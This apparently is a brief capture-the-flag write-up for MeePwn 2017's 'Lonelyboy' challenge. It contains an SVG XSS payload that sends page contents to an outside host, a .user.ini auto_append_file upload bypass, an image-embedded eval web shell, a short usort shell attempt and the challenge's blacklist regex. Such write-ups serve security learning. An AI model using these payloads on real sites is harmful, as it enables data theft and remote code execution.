MeePwn 2017 - Lonelyboy

Very quick little write-up:

Get a friend account using XSS in SVG:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
	var xhr = new XMLHttpRequest();
	xhr.open('GET','/home.php?email_address_of_tsu_friend=m@m.de');

	xhr.onload = function () {
		var myImage = new Image(100, 200);
		myImage.src ='http://example.com:81/'+btoa(xhr.responseText);

	};
	xhr.send(null);
  </script>
</svg>

Now you can upload a small file (20 characters) without any blacklisted keywords (system, exec, `, …) or blacklisted endings (php, .ht*, …). We noticed the header X-Powered-By: PHP-fpm/5.6, so we uploaded a .user.ini file. This is a configuration INI file that works on a per-directory basis.

1

auto_append_file=xx

auto_append_file will automatically parse the given file after the main file. So we can upload a 20-character PHP file called xx. As this is too short for a real shell (is it? usort magic maybe?) we copy an image with PHP code in it to a shorter name, so we can have it auto-appended. This way we do not have to deal with the character limit and keyword blacklist.

The xx file will be included:

1

<?copy('1.jpg',1);

1.jpg is an image with <?=eval($_GET[1337]);?> as a comment:

Now we browse to upload/[md5]/index.php, so that 1.jpg will be copied to 1, and we can update the .user.ini file to point to it. Now we can execute code like this: upload/[md5]index.php?1337=system('ls');

Very interesting PHP-golf challenge; I had hoped I would find a 20-character full shell so this would work without the pictures. Shortest I could come up with was:

1

<?usort($_GET,$_GET[0]);

(24 characters) WORK IN PROGRESS!

Filter:

1

/(escapeshellarg|escapeshellcmd|exec|passthru|proc_close|proc_get_status|proc_nice|proc_open|proc_terminate|shell_exec|`|system|include|require|eval|assert|readfile|scandir)/i